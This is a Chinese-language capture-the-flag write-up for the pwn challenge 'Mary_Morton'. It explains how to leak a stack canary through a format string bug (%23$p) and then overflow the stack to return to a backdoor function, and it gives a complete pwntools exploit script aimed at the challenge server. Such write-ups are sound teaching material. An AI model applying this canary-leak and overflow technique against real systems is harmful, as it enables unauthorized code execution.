攻防世界pwn-Mary_Morton


題目鏈接

 64位的程序,並且開啟了NX和Canary,還有Partial RELRO,got表有寫權限

執行一下文件看看流程,存在兩個漏洞

用IDA看看   可以看到執行2的時候 存在字符串漏洞

 按1的時候,存在棧溢出漏洞

 看一下流程圖和匯編可以知道readsqword這個地方有canary保護,只有 rax 和fs:28h 兩個值相等的時候   才能跳轉到返回值,反之則調用stak_chk_fail

 同時還有一個后門函數

 思路:首先利用字符串漏洞,泄露出canary的值,然后在函數要返回的時候再填回去,之后利用棧溢出,讓其返回到后門函數

 先看一下字符串的偏移

 可以看到偏移了6個字節

確定canary和輸入的參數之間的偏移

buf和v2相差了0x90-0x8=0x88,0x88/8=17, 17+6=23

因為64位的程序,每個格式化字符串都是8字節,同理32位是4字節

 

然后再利用棧溢出調用后門函數即可get flag

構造的腳本如下

from pwn import *
r=remote('111.198.29.45',53501)

r.recvuntil('3. Exit the battle')
r.sendline('2')

r.sendline('%23$p')

r.recvuntil('0x')
canary=int(r.recv(16),16)
print (canary)

flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
r.recvuntil('3. Exit the battle')
r.sendline('1')
r.sendline(payload)

r.interactive()

執行結果

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM